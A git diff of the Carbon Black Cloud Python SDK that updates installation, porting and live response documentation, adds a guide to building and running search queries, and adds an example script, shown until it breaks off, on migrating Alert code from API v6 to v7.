porting-guide + live-response-v6-migration diff --git a/docs/index.rst b/docs/index.rst index e2b72d356..b5d73039d 100644 --- a/docs/index.rst +++ b/docs/index.rst @@ -65,43 +65,16 @@ Get started with Carbon Black Cloud Python SDK here. For detailed information on installation authentication Getting Started - concepts resources - porting-guide - -Guides ------- - -.. toctree:: - :caption: Guides - :maxdepth: 2 - - alerts - device-control - differential-analysis - live-query - live-response - policy - recommendations - reputation-override - unified-binary-store - users-grants - vulnerabilities - watchlists-feeds-reports - workload - -Full SDK Documentation ----------------------- - -See detailed information on the objects and methods exposed by the Carbon Black Cloud Python SDK here. + guides .. toctree:: :caption: SDK Documentation - :maxdepth: 2 + :maxdepth: 4 + cbc_sdk.cbcloudapi cbc_sdk.audit_remediation cbc_sdk.credential_providers - developing-credential-providers cbc_sdk.endpoint_standard cbc_sdk.enterprise_edr cbc_sdk.platform diff --git a/docs/installation.rst b/docs/installation.rst index 07bebceed..30f40851f 100644 --- a/docs/installation.rst +++ b/docs/installation.rst @@ -1,30 +1,32 @@ Installation -================================ +============ If you already have Python installed, skip to `Use Pip`_. Install Python -------------- -Carbon Black Cloud Python SDK is compatible with Python 3.7+. -UNIX systems usually have Python installed by default; it will -have to be installed on Windows systems separately. +Carbon Black Cloud Python SDK is compatible with Python 3.8+. UNIX systems usually have Python installed by default; +it will have to be installed on Windows systems separately. -If you believe you have Python installed already, run the following two commands -at a command prompt:: +If you believe you have Python installed already, run the following two commands at a command prompt:: $ python --version - Python 3.7.5 + Python 3.8.16 $ pip --version - pip 20.2.3 from /usr/local/lib/python3.7/site-packages (python 3.7) + pip 20.2.3 from /usr/local/lib/python3.8/site-packages (python 3.8) -If “python --version” reports back a version of 3.7.x or higher, you’re all set. -If “pip” is not found, follow the instructions on this -`guide `_. +If ``python --version`` reports back a version of 3.8.x or higher, you’re all set. If ``pip`` is not found, follow the +instructions on this `guide `_. -If you're on Windows, and Python is not installed yet, download the `latest Python -installer `_ from python.org. +.. note:: On many UNIX/Linux environments, the ``python`` and ``pip`` commands invoke Python version 2, for backwards + compatibility. Python 2 is not compatible with the Carbon Black Cloud Python SDK. Python version 3 is invoked + via the commands ``python3`` and ``pip3``. Use these commands in this installation guide in place of + ``python`` and ``pip``. + +If you're on Windows, and Python is not installed yet, download the +`latest Python installer `_ from python.org. .. image:: _static/install-windows.png :alt: Windows installation options showing "Add python.exe to path" @@ -35,25 +37,29 @@ Ensure that the "Add Python to PATH" option is checked. Use Pip ------- -Once Python and Pip are installed, open a command prompt and type:: +Once ``python`` and ``pip`` are installed, open a command prompt and type:: $ pip install carbon-black-cloud-sdk This will download and install the latest version of the SDK from the Python PyPI packaging server. +.. note:: In Python environments that implement `PEP 668 `_ and declare their + global packages to be "externally managed," the use of ``pip`` to install packages outside a virtual environment + is no longer supported, unless overridden by a command-line option to ``pip`` (such as ``--break-system-packages``). + For the use of virtual environments, see the next section and the + `Python virtual environment guide `_. + Virtual Environments (optional) ------------------------------- -If you are installing the SDK with the intent to contribute to it's development, -it is recommended that you use virtual environments to manage multiple installations. +If you are installing the SDK with the intent to contribute to it's development, it is recommended that you use +virtual environments to manage multiple installations. -A virtual environment is a Python environment such that the Python interpreter, -libraries and scripts installed into it are isolated from those installed in other -virtual environments, and (by default) any libraries installed in a “system” Python, -i.e., one which is installed as part of your operating system [1]_. +A virtual environment is a Python environment such that the Python interpreter, libraries and scripts installed into +it are isolated from those installed in other virtual environments, and (by default) any libraries installed in a +“system” Python, i.e., one which is installed as part of your operating system [1]_. -See the python.org `virtual environment guide `_ -for more information. +See the python.org `virtual environment guide `_ for more information. Get Source Code --------------- @@ -66,16 +72,15 @@ To clone the latest version of the SDK repository from GitHub:: $ git clone git@github.com:carbonblack/carbon-black-cloud-sdk-python.git -Once you have a copy of the source, you can install it in "development" mode into -your Python site-packages:: +Once you have a copy of the source, you can install it in "development" mode into your Python ``site-packages`` +directory:: $ cd carbon-black-cloud-sdk-python $ python setup.py develop -This will link the version of carbon-black-cloud-sdk-python you cloned into your Python site-packages -directory. Any changes you make to the cloned version of the SDK will be reflected -in your local Python installation. This is a good choice if you are thinking of -changing or further developing carbon-black-cloud-sdk-python. +This will link the version of ``carbon-black-cloud-sdk-python`` you cloned into your Python ``site-packages`` +directory. Any changes you make to the cloned version of the SDK will be reflected in your local Python installation. +This is a good choice if you are thinking of changing or further developing ``carbon-black-cloud-sdk-python``. .. [1] https://docs.python.org/3/library/venv.html diff --git a/docs/live-response-v6-migration.rst b/docs/live-response-v6-migration.rst index d5a9f2d62..b9cbd9d56 100755 --- a/docs/live-response-v6-migration.rst +++ b/docs/live-response-v6-migration.rst @@ -7,6 +7,9 @@ Overview Most of the changes from v3 to v6 are on the routes. Thе updated API (v6) includes a more granular approach to roles-based access control (RBAC). +This change was implemented in CBC SDK 1.3.0, Released June 8, 2021. If you are on a more recent version of this SDK, +you are already using the new version. + Access Permissions ------------------ A key wth a Custom Access Level with appropriate permissions needs to be created for the Live Response. The following @@ -98,3 +101,4 @@ Additional Information * `(CBC) Live Response API releasing v6: now with granular RBAC! `_ * `Live Response Documentation `_ +* `Live Response API Migration Guide `_ diff --git a/docs/live-response.rst b/docs/live-response.rst index fc13fdf4e..02cd124eb 100755 --- a/docs/live-response.rst +++ b/docs/live-response.rst @@ -1,3 +1,5 @@ +.. _live-response: + Live Response ============== @@ -81,6 +83,12 @@ The below table explains what permissions are needed for each of the SDK command To send commands to an endpoint, first establish a "session" with a device. +.. note:: + + As of version 1.3.0, Live Response has been changed to support ``CUSTOM`` type API Keys which enables the platform + Device model and Live Response session to be used with a single API key. Ensure your API key has the + ``Device READ`` permission along with the desired Live Response permissions. + Establish A Session With A Device --------------------------------- Connect to a device by querying the ``Device`` object. diff --git a/docs/modules.rst b/docs/modules.rst deleted file mode 100644 index 3697cc19b..000000000 --- a/docs/modules.rst +++ /dev/null @@ -1,7 +0,0 @@ -cbc_sdk -======= - -.. toctree:: - :maxdepth: 4 - - cbc_sdk diff --git a/docs/porting-guide.rst b/docs/porting-guide.rst index c78fe78a9..3bb90b8bb 100755 --- a/docs/porting-guide.rst +++ b/docs/porting-guide.rst @@ -1,20 +1,32 @@ Porting Applications from CBAPI to Carbon Black Cloud SDK ========================================================= + This guide will help you migrate from CBAPI to the Carbon Black Cloud Python SDK. -Note: CBAPI applications using Carbon Black EDR (Response) or Carbon Black App Control (Protection) cannot be ported, as support for on-premise products is not present in -the CBC SDK. Continue to use CBAPI for these applications. +This is necessary to take advantage of new functionality in Carbon Black Cloud and also to ensure +that functionality is not lost from your integrations when APIs are deactivated in July 2024. Read more +about the new features in the `Developer Network Blogs `_. + +.. note:: + + CBAPI applications using Carbon Black EDR (Response) or Carbon Black App Control (Protection) cannot be ported, + as support for on-premise products is not present in the CBC SDK. Continue to use CBAPI for these applications. Overview -------- -CBC SDK has changes to package names, folder structure, and functions. Import statements will need to change for the packages, modules, and functions listed in this guide. + +CBC SDK has changes to package names, folder structure, and functions. Import statements will need to change for the +packages, modules, and functions listed in this guide. Package Name Changes -------------------- -A number of packages have new name equivalents in the CBC SDK. Endpoint Standard and Enterprise EDR have had parts replaced to use the most current API routes. + +A number of packages have new name equivalents in the CBC SDK. Endpoint Standard and Enterprise EDR have had parts +replaced to use the most current API routes. Top-level Package Name Change ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + The top-level package name has changed from CBAPI to CBC SDK. +-----------------+--------------------+ @@ -25,6 +37,7 @@ The top-level package name has changed from CBAPI to CBC SDK. Product Name Changes ^^^^^^^^^^^^^^^^^^^^ + Carbon Black Cloud product names have been updated in the SDK. +----------------------------+-------------------------------+ @@ -39,20 +52,58 @@ Carbon Black Cloud product names have been updated in the SDK. | ``cbapi.psc`` | ``cbc_sdk.platform`` | +----------------------------+-------------------------------+ -Import statements will need to change: - -:: +Features for new products such as Container Security and Workload Security have also been added in the appropriate +namespace. + +APIs that have been deprecated or deactivated +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +Some modules made use of APIs that have been deactivated and are either no longer included in the Carbon Black Cloud, +or are planned for deprecation in the second half of 2024. The following table shows +the original module, the replacement module, and where to find more information. + +For a complete list of APIs that are deprecated and the associated migration information, see the +`Migration Guide `_ on the +Developer Network. This is important if you have integrations with Carbon Black Cloud that do not use the +Carbon Black Cloud Python SDK (this). + +.. list-table:: Deprecated Modules and their replacements + :widths: 25, 25, 50 + :header-rows: 1 + :class: longtable + + * - CBAPI module + - Replacement CBC SDK Module + - More Information + * - cbapi.psc.defense Event + - cbc_sdk.platform Observation + - This was deactivated in January 2021. Review the Carbon Black Cloud User Guide to learn more about `Observations `_ + * - cbapi.psc.defense Policy + - cbc_sdk.platform Policy + - `IntegrationServices Policy v3 API Migration `_ + * - cbc_sdk.endpoint_standard EnrichedEvent + - cbc_sdk.platform Observation + - Enriched Events will remain available until July 2024. `Enriched Events API Migration `_ + * - cbc_sdk.platform Alert + - Module path is unchanged. Attributes and methods will change + - In SDK 1.5.0 the Alert module will be updated to use the new Alert v7 API. A migration guide will be included with that release. Planned for October 2023. + * - SIEM Notifications - cbc_sdk.rest_api CBCloudAPI get_notifications() + - cbc_sdk.platform Alert or Alert Data Forwarder + - `Notification Migration `_ + +Modules that have been moved and need new import statements +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +Import statements will need to change:: # Endpoint Standard (Defense) # CBAPI - from cbapi.psc.defense import Device, Event, Policy + from cbapi.psc.defense import Device # CBC SDK - # note that the original "Event" has been decommissioned - from cbc_sdk.endpoint_standard import Device, EnrichedEvent, Policy + from cbc_sdk.platform import Device -:: # Audit and Remediation (LiveQuery) @@ -62,7 +113,6 @@ Import statements will need to change: # CBC SDK from cbc_sdk.audit_remediation import Run, RunHistory, Result, DeviceSummary -:: # Enterprise EDR (ThreatHunter) @@ -74,6 +124,7 @@ Import statements will need to change: Moved Packages and Models ^^^^^^^^^^^^^^^^^^^^^^^^^ + Some modules have been moved to a more appropriate location. +-----------------------------+------------------------------+ @@ -86,9 +137,7 @@ Some modules have been moved to a more appropriate location. | ``cbapi.psc.devices_query`` | ``cbc_sdk.platform`` | +-----------------------------+------------------------------+ -Import statements will need to change: - -:: +Import statements will need to change:: # Example Helpers @@ -98,8 +147,6 @@ Import statements will need to change: # CBC SDK from cbc_sdk.helpers import build_cli_parser -:: - # Alerts # CBAPI @@ -108,8 +155,6 @@ Import statements will need to change: # CBC SDK from cbc_sdk.platform import * -:: - # Devices # CBAPI @@ -121,8 +166,9 @@ Import statements will need to change: Replaced Modules ^^^^^^^^^^^^^^^^ -With the new Unified Platform Experience, Carbon Black Cloud APIs have been updated to provide a more consistent search experience. -Platform search is replacing Endpoint Standard Event searching, and Enterprise EDR Process and Event searching. +In 2020, Carbon Black Cloud APIs were updated to provide a more consistent search +experience. Platform search replaced Endpoint Standard Event searching, and Enterprise EDR Process and Event +searching. For help beyond import statement changes, check out these resources: @@ -136,27 +182,28 @@ For help beyond import statement changes, check out these resources: Endpoint Standard """"""""""""""""" -Endpoint Standard Events have been replaced with Enriched Events and the old event functionality has been -decommissioned. -:: +Endpoint Standard Events have been replaced with Platform Observations and the old event functionality has been +decommissioned:: # Endpoint Standard Enriched Events # CBAPI from cbapi.psc.defense import Event - # CBC SDK (decommissioned--do not use) + # CBC SDK - decommissioned--do not use from cbc_sdk.endpoint_standard import Event - # CBC SDK + # CBC SDK - deprecated--stop using before July 31st 2024 from cbc_sdk.endpoint_standard import EnrichedEvent + # CBC SDK - Observations. Use this! + from cbc_sdk.platform import Observation + Enterprise EDR """""""""""""" -Enterprise EDR Processes and Events have been removed and replaced with Platform Processes and Events. -:: +Enterprise EDR Processes and Events have been removed and replaced with Platform Processes and Events:: # Enterprise EDR Process and Event @@ -168,6 +215,7 @@ Enterprise EDR Processes and Events have been removed and replaced with Platform Folder Structure Changes ------------------------ + The directory structure for the SDK has been refined compared to CBAPI. * Addition of the Platform folder @@ -182,10 +230,7 @@ Directory Tree Changes In general, each module's ``models.py`` and ``query.py`` files were combined into their respective ``base.py`` files. -CBAPI had the following abbreviated folder structure: - -:: - +CBAPI had the following abbreviated folder structure:: src └── cbapi @@ -225,9 +270,7 @@ CBAPI had the following abbreviated folder structure: Each product had a ``models.py`` and ``rest_api.py`` file. -CBC SDK has the following abbreviated folder structure: - -:: +CBC SDK has the following abbreviated folder structure:: src └── cbc_sdk @@ -275,8 +318,9 @@ CBC SDK has the following abbreviated folder structure: └── rest_api.py └── CBCloudAPI.py -Now, each product has either a ``base.py`` file with all of its objects, or categorized files like ``platform.alerts.py`` and ``platform.devices.py``. -The package level ``rest_api.py`` replaced each product-specific ``rest_api.py`` file. +Now, each product has either a ``base.py`` file with all of its objects, or categorized files like +``platform.alerts.py`` and ``platform.devices.py``. The package level ``rest_api.py`` replaced each product-specific +``rest_api.py`` file. Function Changes ---------------- diff --git a/docs/requirements.txt b/docs/requirements.txt index 450d69485..f58ba406b 100644 --- a/docs/requirements.txt +++ b/docs/requirements.txt @@ -1,4 +1,7 @@ # Defining the exact version will make sure things don't break +sphinx==6.2.1 +sphinx-copybutton==0.4.0 +sphinx-rtd-theme==1.2.2 sphinxcontrib-apidoc sphinx-copybutton==0.4.0 pygments diff --git a/docs/searching.rst b/docs/searching.rst new file mode 100644 index 000000000..2a4e16f2e --- /dev/null +++ b/docs/searching.rst @@ -0,0 +1,371 @@ +.. _searching-guide: + +Searching +========= + +Almost every interaction with the Carbon Black Cloud SDK will involve searching for some object on the server that your +code can then inspect or operate on. Searching in the SDK involves three steps: + +1. Create a *query object* with the ``select()`` method. +2. Refine the query by using the query object's methods to add a text *query* and/or *search criteria.* +3. Execute the query to see its results. + +Creating a Query Object +----------------------- + +A query object is created via the :func:`CBCloudAPI.select() ` operation, specifying +the type of data to be retrieved. + +In this example, we create a query to search for all devices with antivirus active:: + + # assume the CBCloudAPI object is in the variable "api" + >>> from cbc_sdk.platform import Device + >>> device_query = api.select(Device).where('status:ACTIVE') + + # The device query has been created but not yet executed + >>> type(device_query) + + +The ``select()`` method may take either a class reference or a string class name:: + + >>> query1 = api.select(Device) + >>> query2 = api.select("Device") + + # prove that the query we get back in either case is the same + >>> type(query1) == type(query2) + True + +Selecting an Object Directly +**************************** + +The ``select()`` method may also be used to retrieve an object directly if you know its ID value, by passing the ID as +a second parameter:: + + >>> dev = api.select(Device, 1234567) # assume this device exists + >>> type(dev) + + +Refining a Query +---------------- + +Queries may support one of two different methods for refining a query: + +* Through the use of *text query.* +* Through adding *criteria.* + +Text Query Support +****************** + +Text queries may be added to a query object by using the query object's +:func:`where() `, :func:`and_() `, and +:func:`or_() ` methods. The following example sets up a query looking for events +in which the program ``googleupdate.exe`` accesses the system registry on a device with a specific hostname, IP +address, and owner:: + + # assume the CBCloudAPI object is in the variable "api" + >>> from cbc_sdk.platform import Observation + >>> obs_query = api.select(Observation).where(process_name='svchost.exe').and_(observation_type='CONTEXTUAL_ACTIVITY') + + # further refine the query + >>> obs_query.and_(event_type='netconn') + >>> obs_query.and_(netconn_protocol='PROTO_TCP').and_(netconn_port=80) + +The ``where()`` method supplies the initial query parameters, while ``and_()`` and ``or_()`` add additional query +parameters. As with other languages, ``and_()`` gets grouped together before ``or_()``. + +Parameters may either be supplied as text strings or as keyword assignments:: + + >>> from cbc_sdk.platform import Device + # the following two queries are equivalent + >>> string_query = api.select(Device).where("status:ACTIVE") + >>> keyword_query = api.select(Device).where(status="ACTIVE") + +However, mixing the two types in a single query is not allowed:: + + # this is not allowed + >>> from cbc_sdk.platform import Device + >>> bogus_query = api.select(Device).where(status="ACTIVE").and_("virtualMachine:true") + cbc_sdk.errors.ApiError: Cannot modify a structured query with a raw parameter + +Criteria Support +**************** + +Criteria are usually added to queries using methods specific to each query. For example, this query looks for alerts +with severity 9 or 10 on a machine running macOS 10.14.6:: + + >>> from cbc_sdk.platform import Alert + >>> alert_query = api.select(Alert) + + # Refine the query with parameters + >>> alert_query.where(alert_severity=9).or_(alert_severity=10) + + # Refine the query with criteria + >>> alert_query.set_device_os(["MAC"]).set_device_os_versions(["10.14.6"]) + +This query produces the following JSON block to be passed to a ``POST`` request to the server: + +.. code-block:: json + + { + "query": "alert_severity:9 OR alert_severity:10", + "criteria": { + "device_os": ["MAC"], + "device_os_version": ["10.14.6"] + } + } + +In newer queries, the various specific methods for setting each individual criterion will be replaced with a single +method:: + + # Refine the query with criteria (new style) + >>> alert_query.add_criteria("device_os", ["MAC"]).add_criteria("device_os_version", ["10.14.6"]) + +.. note:: + + The ``add_criteria()`` method is explicitly supported with Alerts v7, as well as other query classes that make use + of ``CriteriaBuilderSupportMixin``. Over time, the existing "specific" methods for setting criteria will be + deprecated. + +Certain queries accept a *time range* criterion, set with the ``set_time_range()`` method. This allows a range of +times to be specified which returned objects must fall within. Parameters for ``set_time_range()`` are as follows: + +- ``start``: Specifies the starting time of the range, in ISO 8601 format. +- ``end``: Specifies the ending time of the range, in ISO 8601 format. +- ``range``: Specifies the scope of the request in units of time. + +A ``range`` parameter begins with a minus sign, marking an interval backwards from the current time. This is followed +by an integer number of units, followed by a letter specifying whether the interval is years ('y'), weeks ('w'), +days ('d'), hours ('h'), minutes ('m'), or seconds ('s'). + +.. note:: + + For ``Process`` search, the ``range`` parameter is called ``window``. + +When setting a time range, either ``start`` and ``end`` must *both* be specified, or ``range`` must be specified. +``range`` takes precedence if it is specified alongside ``start`` and/or ``end``. + +Executing a Query +----------------- + +To execute a query after it's been refined, simply evaluate the query in an *iterable context.* This may be done +either by passing it to a function that takes iterable values, or by iterating over it in a ``for`` loop. This +example shows how a device query may be executed:: + + # create and refine a device query + >>> from cbc_sdk.platform import Device + >>> device_query = api.select(Device).where('status:ACTIVE').set_os(["WINDOWS"]) + + # easiest way to execute it is to turn it into a list + >>> matching_devices = list(device_query) + + # or you can iterate over it using a for loop + >>> for matching_device in device_query: + ... print(f"Matching device ID: {matching_device.id}) + ... + Matching device ID: 1234 + Matching device ID: 5678 + + # using it in a list comprehension also works + >>> matching_device_ids = [device.id for device in device_query] + >>> print(matching_device_ids) + [1234, 5678] + + # you can also use the standard Python len() function to return the number of results + >>> print(len(device_query)) + 2 + +The ``first()`` or ``one()`` methods on a query always return the first object matched by that query. The difference +between those is that, if there is more than one result for that query, the ``one()`` method will raise an error. + +Asynchronous Queries +******************** + +Some queries may also be executed asynchronously by using the ``execute_async()`` method, which is useful if you have +a query which wil take a long time to execute and you want your script to do other things while waiting for the query +to return. Here's how we execute the device query from the last example asynchronously:: + + # create and refine a device query + >>> from cbc_sdk.platform import Device + >>> device_query = api.select(Device).where('status:ACTIVE').set_os(["WINDOWS"]) + + # now execute it + future = device_query.execute_async() + + # await the results + device_list = future.result() + +The ``execute_async()`` method returns a standard ``concurrent.futures.Future`` object, and that ``Future``'s +``result()`` method will return a list with the results of the query. + +Faceting +-------- + +Facet search queries return statistical information indicating the relative weighting of the requested values as per +the specified criteria. Only certain query types support faceting. + +Simple Faceting +*************** + +Simple faceting is built into certain queries, allowing you to generate a summary on certain fields of all objects that +match the query. To perform this, create and refine a query object as you would normally, then call the ``facets()`` +method on the query, passing it the names of the fields you want to facet on. + +Here is an example for USB devices:: + + >>> from cbc_sdk.endpoint_standard import USBDevice + >>> usb_devices = api.select(USBDevice).set_statuses(['APPROVED']) + >>> facet_data = usb_devices.facets(['vendor_name', 'product_name']) + +This facet query might produce data that looks like this: + +.. code-block:: json + + [ + { + "field": "vendor_name", + "values": [ + { + "id": "Generic", + "name": "Generic", + "total": 2 + }, + { + "id": "Kingston", + "name": "Kingston", + "total": 2 + } + ] + }, + { + "field": "product_name", + "values": [ + { + "id": "DataTraveler 3.0", + "name": "DataTraveler 3.0", + "total": 2 + }, + { + "id": "Mass Storage", + "name": "Mass Storage", + "total": 2 + } + ] + } + ] + +Facet Queries +************* + +More complex facet queries are performed by creating a query *on* a facet type, then refining it as usual, then getting +the results from the query:: + + >>> from cbc_sdk.platform import ObservationFacet + >>> query = api.select(ObservationFacet).where(process_pid=1000) + +Facet queries have two types of special criteria that may be set. One is the ``range`` type which is used to specify +discrete values (integers or timestamps - specified both as seconds since epoch and also as ISO 8601 strings). +The results are then grouped by occurrence within the specified range:: + + >>> from cbc_sdk.platform import ObservationFacet + >>> range = { + ... "bucket_size": "+1DAY", + ... "start": "2020-10-16T00:00:00Z", + ... "end": "2020-11-16T00:00:00Z", + ... "field": "device_timestamp" + ... } + >>> query = api.select(ObservationFacet).where(process_pid=1000).add_range(range) + +The range settings are as follows: + +* ``field`` - the field to return the range for, should be a discrete one (integer or ISO 8601 timestamp) +* ``start`` - the value to begin grouping at +* ``end`` - the value to end grouping at +* ``bucket_size``- how large of a bucket to group results in. If grouping an ISO 8601 property, use a string + like ``'-3DAYS'``. + +Multiple ranges can be configured per query by passing a list of range dictionaries. + +The other special criterion that may be set is the ``term`` type, which allows for one or more fields to use as a +criteria on which to return weighted results. Terms may be added using the ``add_facet_field()`` method, specifying +the name of the field to be summarized:: + + >>> from cbc_sdk.platform import ObservationFacet + >>> query = api.select(ObservationFacet).where(process_pid=1000).add_facet_field("process_name") + +Once the facet query has been fully refined, it is executed by examining its ``results`` property:: + + >>> from cbc_sdk.platform import EventFacet + >>> event_facet_query = api.select(EventFacet).add_facet_field("event_type") + >>> event_facet_query.where(process_guid="WNEXFKQ7-00050603-0000066c-00000000-1d6c9acb43e29bb") + >>> range = { + ... "bucket_size": "+1DAY", + ... "start": "2020-10-16T00:00:00Z", + ... "end": "2020-11-16T00:00:00Z", + ... "field": "device_timestamp" + ... } + >>> event_facet_query.add_range(range) + >>> synchronous_results = event_facet_query.results + >>> print(synchronous_results) + EventFacet object, bound to https://defense-eap01.conferdeploy.net. + ------------------------------------------------------------------------------- + num_found: 16 + processed_segments: 1 + ranges: [{'start': '2020-10-16T00:00:00Z', 'end': '2020... + terms: [{'values': [{'total': 14, 'id': 'modload', 'na... + total_segments: 1 + +Facet queries may also be executed asynchronously, as with other asynchronous queries, by calling their +``execute_async()`` method and then calling the ``result()`` method on the returned ``Future`` object:: + + >>> from cbc_sdk.platform import EventFacet + >>> event_facet_query = api.select(EventFacet).add_facet_field("event_type") + >>> event_facet_query.where(process_guid="WNEXFKQ7-00050603-0000066c-00000000-1d6c9acb43e29bb") + >>> range = { + ... "bucket_size": "+1DAY", + ... "start": "2020-10-16T00:00:00Z", + ... "end": "2020-11-16T00:00:00Z", + ... "field": "device_timestamp" + ... } + >>> event_facet_query.add_range(range) + >>> asynchronous_future = event_facet_query.execute_async() + >>> asynchronous_result = asynchronous_future.result() + >>> print(asynchronous_result) + EventFacet object, bound to https://defense-eap01.conferdeploy.net. + ------------------------------------------------------------------------------- + num_found: 16 + processed_segments: 1 + ranges: [{'start': '2020-10-16T00:00:00Z', 'end': '2020... + terms: [{'values': [{'total': 14, 'id': 'modload', 'na... + total_segments: 1 + +The result for facet queries is a single object with two properties, ``terms`` and ``ranges``, that contain the facet +search result weighted as per the criteria provided:: + + >>> print(synchronous_result.terms) + [{'values': [{'total': 14, 'id': 'modload', 'name': 'modload'}, {'total': 2, 'id': 'crossproc', 'name': 'crossproc'}], 'field': 'event_type'}] + >>> print(synchronous_result.ranges) + [{'start': '2020-10-16T00:00:00Z', 'end': '2020-11-16T00:00:00Z', 'bucket_size': '+1DAY', 'field': 'device_timestamp', 'values': None}] + +Search Suggestions +------------------ + +Some classes offer the ability to provide "suggestions" as to search terms that may be employed, via a static method on +the class. Here is an example for ``Observation``:: + + >>> from cbc_sdk.platform import Observation + >>> suggestions = Observation.search_suggestions(api, query="device_id", count=2) + >>> for suggestion in suggestions: + ... print(suggestion["term"], suggestion["required_skus_all"], suggestion["required_skus_some"]) + device_id [] ['threathunter', 'defense'] + netconn_remote_device_id ['xdr'] [] + +And here is an example for ``BaseAlert``:: + + >>> from cbc_sdk.platform import BaseAlert + >>> suggestions = BaseAlert.search_suggestions(api, query="device_id") + >>> for suggestion in suggestions: + ... print(suggestion["term"], suggestion["required_skus_some"]) + device_id ['defense', 'threathunter', 'deviceControl'] + device_os ['defense', 'threathunter', 'deviceControl'] + [...additional entries elided...] + workload_name ['kubernetesSecurityRuntimeProtection'] diff --git a/examples/enterprise_edr/threat_intelligence/stix_parse.py b/examples/enterprise_edr/threat_intelligence/stix_parse.py index 514f0b6a1..8b6e9692e 100644 --- a/examples/enterprise_edr/threat_intelligence/stix_parse.py +++ b/examples/enterprise_edr/threat_intelligence/stix_parse.py @@ -215,16 +215,16 @@ def cybox_parse_observable(observable, indicator, timestamp, score): # ID must be unique. Collisions cause 500 error on Carbon Black backend id = str(uuid.uuid4()) - if type(props) == DomainName: + if isinstance(props, DomainName): reports = parse_domain_name(props, id, description, title, timestamp, link, score) - elif type(props) == Address: + elif isinstance(props, Address): reports = parse_address(props, id, description, title, timestamp, link, score) - elif type(props) == File: + elif isinstance(props, File): reports = parse_file(props, id, description, title, timestamp, link, score) - elif type(props) == URI: + elif isinstance(props, URI): reports = parse_uri(props, id, description, title, timestamp, link, score) else: diff --git a/examples/platform/alert_v6_v7_migration.py b/examples/platform/alert_v6_v7_migration.py new file mode 100644 index 000000000..c5ad5192e --- /dev/null +++ b/examples/platform/alert_v6_v7_migration.py @@ -0,0 +1,297 @@ +#!/usr/bin/env python +# ******************************************************* +# Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. +# SPDX-License-Identifier: MIT +# ******************************************************* +# * +# * DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU "AS IS" WITHOUT +# * WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN, +# * EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED +# * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, +# * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. + +""" +This example shows changes required in Alerts code to move from Carbon Black Cloud Python SDK v1.4.3 to 1.5.0 + +SDK v1.4.3 and earlier used the Alerts v6 API. SDK 1.5.0 uses Alerts v7 API which has significantly more metadata +on the Alert record, but also some breaking changes. + +It complements the Alert Migration guide available in Read The Docs +https://carbon-black-cloud-python-sdk.readthedocs.io +--> Guides --> Migration Guides --> Alert Migration + +Significant effort was put towards backwards compatibility to minimise the breaking changes in SDK 1.5.0. +The code to support legacy +""" + +import sys +import json +from cbc_sdk import CBCloudAPI +from cbc_sdk.platform import Alert, BaseAlert, CBAnalyticsAlert +from cbc_sdk.errors import FunctionalityDecommissioned + +# To see the http requests being made, and the structure of the search requests enable debug logging +import logging +logging.basicConfig(level=logging.DEBUG) + + +def base_class_and_default_time_range(api): + """The base class has changed from BaseAlert, to simply Alert and the default time range searched is now 2 weeks. + + Backwards compatibility was built in so the change of class is not a breaking change. + + The default time range that was searched changed from one month to two weeks in Carbon Black Cloud + and has not been overridden in the SDK. This is unlikely to affect polling scenarios which are typically searching + the last period measured in minutes or hours, not weeks. For one off history searches, the time range is typically + set explicitly. + """ + print("\nInside base_class_and_default_time_range\n") + # If you did this in SDK 1.4.3 it would have got one month of alerts. + # Because SDK 1.5.0 is implemented only with Alerts v7 API, it returns the new default of the last 2 weeks. + alerts = api.select(BaseAlert) + # The search request in the SDK is not made until the results are requested. + len(alerts) + # The equivalent search in SDK 1.5.0 is: + alerts = api.select(Alert).set_time_range(range="-1M") + len(alerts) + + +def category_monitored_removed(api): + """Observed Alerts are not returned by the Alerts API v7 and are not available in SDK 1.5.0 onwards. + + If you are calling the v6 API directly or using SDK 1.4.3 or earlier, use criteria ``category=THREAT`` + to get the same alerts as will be returned by the v7 API and SDK 1.5.0. + """ + print("\nInside category_monitored_removed\n") + try: + api.select(BaseAlert).set_categories("THREAT") + except FunctionalityDecommissioned: + print("The FunctionalityDecommissioned exception is expected.") + print("In SDK 1.5.0 and Alert v7 API, `category` is not a valid attribute.") + print("In SDK 1.4.3 and earlier this will limit the alert returned to match those from Alerts v7 API and " + "SDK 1.5.0 onwards.") + + +def get_methods_backwards_compatibility(api): + """get() methods have support for backward compatibiltiy where possible + + Where the field has been renamed, the get_xxx method has been updated to return the value from the field using + the new name. + + If the field has no equivalent, a ``FunctionalityDecommissioned`` exception is raised. + """ + print("\nInside get_methods_backwards_compatibility\n") + alert_query = api.select(BaseAlert) + alert = alert_query.first() + # This shows the field known as policy_id in Alert API v6 / SDK 1.4.3 and as device_policy_id in SDK 1.5.0 onwards + print("Printing the value of policy_id = {}".format(alert.get("policy_id"))) + print("Printing the value of device_policy_id, the new name for that data = {}". + format(alert.get("device_policy_id"))) + # When accessed using the field name as a property, the same functionality has been built in + print("Printing the value of alert.policy_id = {}".format(alert.policy_id)) + print("Printing the value of alert.device_policy_id, the new name for that data = {}". + format(alert.device_policy_id)) + # Some fields have been deprecated and do not have an equivalent value in Alerts v7 or SDK 1.5.0. + # These will raise a FunctionalityDecommissioned exception. + # This example uses field ``blocked_threat_category`` + try: + alert.get("blocked_threat_category") + except FunctionalityDecommissioned: + print("The FunctionalityDecommissioned exception is expected.") + print("blocked_threat_category is not a valid field") + + +def set_methods_backwards_compatibility(api): + """set_xxx() methods used to set search criteria have support for backward compatibiltiy where possible + + Where the field has been renamed, the set_xxx method has been updated to return the value from the field using + the new name. + + If the field has no equivalent, a ``FunctionalityDecommissioned`` exception is raised. + """ + print("\nInside set_methods_backwards_compatibility\n") + alert_query = api.select(Alert).set_policy_ids([1234]) + # To see the API Request generated, enable debug logging and the json will be printed on eacy API call + len(alert_query) + # This shows the field known as policy_id in Alert API v6 / SDK 1.4.3 and as device_policy_id in SDK 1.5.0 onwards + alert_query = api.select(Alert).add_criteria("device_policy_id", [1234]) + len(alert_query) + # The 